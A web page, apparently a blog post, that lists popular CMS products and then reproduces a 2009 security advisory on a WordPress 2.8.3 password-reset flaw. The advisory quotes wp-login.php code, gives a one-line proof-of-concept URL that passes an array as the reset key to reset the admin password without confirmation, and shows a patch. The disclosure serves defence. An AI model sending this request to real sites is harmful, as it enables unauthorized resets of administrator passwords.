CMS top list

A content management system (CMS) is a collection of procedures used to manage work flow in a collaborative environment. These procedures can be manual or computer-based. The procedures are designed to:

• Allow for a large number of people to contribute to and share stored data
• Control access to data, based on user roles. User roles define what information each user can view or edit
• Aid in easy storage and retrieval of data
• Reduce repetitive duplicate input
• Improve the ease of report writing
• Improve communication between users

List of top rate CMS

Wordpress 

is an open source CMS, often used as a blog publishing application powered by PHP and MySQL. It has many features including a plugin architecture and a templating system. Used by over 2% of the 10,000 biggest websites, WordPress is the most popular blog software in use today

Joomla
Joomla! is one of the most powerful Open Source Content Management Systems on the planet. It is used all over the world for everything from simple websites to complex corporate applications. Joomla! is easy to install, simple to manage, and reliable.

  Drupal
Drupal is software that allows an individual or a community of users to easily publish, manage and organize a great variety of content on a website.

  CMS Made Simple
CMS Made Simple is an open source (GPL) package, built using PHP that provides website developers with a simple, easy to use utility to allow building small-ish (dozens to hundreds of pages), semi-static websites. 

  PHP-Fusion
PHP-Fusion is a light-weight open-source content management system (CMS) written in PHP4. It uses a mySQL database to store your site content and includes a simple yet comprehensive adminstration system.

 

  Mambo
Mambo is a full-featured content management system that can be used for everything from simple websites to complex corporate applications. Continue reading for a detailed feature list.

  PHP-Nuke
PHP-Nuke is a news automated system specially designed to be used in Intranets and Internet. The Administrator has total control of his web site, registered users, and he will have in the hand a powerful assembly of tools to maintain an active and...

  MODx
MODx is an open source CMS that helps you take control of your website. It makes updates easy, empowering end-users with as much control as you desire over website content and update frequency.

  Jaws
Jaws is a Framework and Content Management System for building dynamic web sites. It aims to be User Friendly giving ease of use and lots of ways to customize web sites, but at the same time is Developer Friendly.

 

Wordpress 2.8.3 bug = Remote Admin Reset Password Vulnerability

WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

DESCRIPTION

The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.
 

PROOF OF CONCEPT

A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation. 

RxN7 in action:

how to patch:

1. by upgrading the version of wordpress ... go here http://wordpress.org/download/

2. changing the php code in wp-login.php

before:

case 'resetpass' :
case 'rp' :
 $errors = reset_password($_GET['key']);
 
 if ( ! is_wp_error($errors) ) {
  wp_redirect('wp-login.php?checkemail=newpass');
  exit();
 }
 
 wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
 exit();
 
break;

after: 

case 'resetpass' :
case 'rp' :
 if (is_array($_GET['key'])) {
  die("Hacking detected.");
  exit();
 }
 $errors = reset_password($_GET['key']);
 
 if ( ! is_wp_error($errors) ) {
  wp_redirect('wp-login.php?checkemail=newpass');
  exit();
 }
 
 wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
 exit();
 
break;

=================================================================

- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié